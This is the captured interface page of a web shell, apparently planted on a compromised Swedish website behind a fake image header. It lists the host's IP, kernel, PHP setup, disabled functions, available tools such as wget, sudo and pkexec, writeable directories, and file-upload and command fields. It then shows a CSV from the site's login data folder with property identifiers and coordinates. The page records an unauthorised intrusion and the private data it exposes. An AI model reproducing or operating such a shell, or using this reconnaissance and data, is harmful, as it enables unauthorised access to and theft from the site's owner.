????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.217.84
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.supervision-online.se/login/data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.supervision-online.se/login/data/36752d13b9df39634a347eb612d23e86.csv
18546462	543:08-4 F	6478159,691	184453,4492
47691617	543:39-2-3 F	6477416,027	184623,125
26364506	543:48-7 F	6477247,145	184371,5156
41368335	543:48-8 F	6477219,621	184407,0352
48867954	543:48-9 F	6477255,211	184554,3164
43818601	543:49-3 F	6477144,648	184671,4492
39305730	543:58-5 F	6476872,988	184474,7969
49184706	544:01-6 F	6478113,227	185458,1133
40728498	544:04-8 F	6478118,613	186160,4727
40728500	544:04-9 F	6478148,527	186178,3555
40976725	544:10-5 F	6477835,066	184979,8359
45224471	544:12-5 F	6478067,949	185721,3789
45224472	544:12-6 F	6478075,641	185724,6758
40386634	544:13-10 F	6477861,684	186120,0195
40728493	544:13-11 F	6478077,016	185959,918
40368890	544:13-6 F	6477845,961	186025,0078
40386630	544:13-7 F	6477882,191	186112,3789
40386641	544:13-8 F	6477872,535	186118,4766
40386642	544:13-9 F	6477870,34	186119,25
38593347	544:14-10 F	6477976,984	186352,5156
38593351	544:14-11 f	6477931,359	186227,0781
26671510	544:14-8 F	6477933,133	186234,1836
26671503	544:14-9 F	6477932,398	186237,1992
49359124	544:22-14-F	6477683,816	185806,625
49359128	544:22-15-F	6477762,992	185818,2305
49359131	544:22-16-F	6477773,117	185813,0625
18928941	544:23-11  F	6477631,25	185904,793
26670876	544:23-16 F	6477804,473	185914,4492
26670883	544:23-17 F	6477793,77	185909,5586
26670889	544:23-18 F	6477771,926	185918,0625
26670331	544:23-19 F	6477676,797	185911,6367
26738882	544:23-20 F	6477796,664	185930,0313
48450366	544:31-10 F	6477533,957	185420,3281
48450425	544:31-8 F	6477589,027	185411,6523
41907743	544:32-8 F	6477407,898	185810,1328
47570533	544:35-9 F	6477373,785	186598,2188
48518863	544:41-3 F	6477348,969	185451,3125
38543219	544:42-4 F	6477302,105	185772,4063
48518313	544:42-5	6477248,734	185525,7344
41199386	544:44-13 F	6477251,16	186404,3711
48922051	544:44-14 F	6477310,844	186468,0469
19872166	544:45-19 F	6477162,43	186516,9609
19869324	544:45-20 F	6477167,973	186518,875
19872178	544:45-21 F	6477235,473	186511,9805
19901512	544:45-22 F	6477219,449	186504,1445
37570868	544:45-23 F	6477262,137	186632,4141
37570878	544:45-24 F	6477350,727	186615,8086
37570869	544:45-25 F	6477323,988	186587,957
41507681	544:45-27 F	6477313,137	186493,5898
48386839	544:46-7 F	6477313,297	186845,0898
41911073	544:52-3 F	6477070,992	185694,0898
48460289	544:52-4 F	6477100,449	185641,0898
26678107	544:54-10 F	6477070,988	186346,6484
26751830	544:54-11 F	6477091,934	186437,4805
26856090	544:54-12 F	6477092,68	186346,3203
40386651	544:54-13 F	6477034,16	186185,6289
40386656	544:54-14 F	6477049,094	186259,0391
47857566	544:54-15 F	6477069,77	186363,8711
26678100	544:54-8 F	6477100,453	186429,1016
19129341	544:55-12 F	6477118,918	186533,9297
19129340	544:55-13 F	6477117,133	186534,4844
27033377	544:55-17 F	6477112,289	186509,668
47633282	544:55-18 R	6477025,629	186684,5234
18973929	544:55-8 F	6477102,785	186785,6836
41844068	544:63-7 F	6476671,605	186082,3203
45357844	544:63-8 F	6476850,098	185985,1289
45496977	544:73-10 F	6476586,293	186046,9766
23094236	544:73-8 F	6476423,223	185973,582
45496980	544:73-9	6476508,973	186098,1367
19262215	544:75-6 F	6476479,875	186628,9336
40071531	544:75-7 F	6476632,09	186627,5508
48867812	544:75-8 F	6476488,41	186638,875
23094189	544:82-4 F	6476262,602	185850,1719
19956106	544:83-5 F	6476281,063	185853,957
23094258	544:83-6 F	6476346,996	185908,0391
23094278	544:83-7 F	6476384,461	185938,2617
41588758	Stenbr?tsgatan pump	6477332,355	184298,3516
41582610	Stenbr?tsgatan pump	6477332,629	184297,418
49359172	544:22-17-F	6477772,227	185809,5547
49359174	544:22-18-F	6477773,371	185804,6758
48460188	544:31-11 F	6477473,316	185446,9844
48518296	544:31-12 F	6477422,797	185457,918
48460182	544:31-9 F	6477587,191	185412,6367
48460257	544:41-4 F	6477294,313	185487,2031
48460284	544:42-6 F	6477228,156	185548,9805

Youez - 2016 - github.com/yon3zu
LinuXploit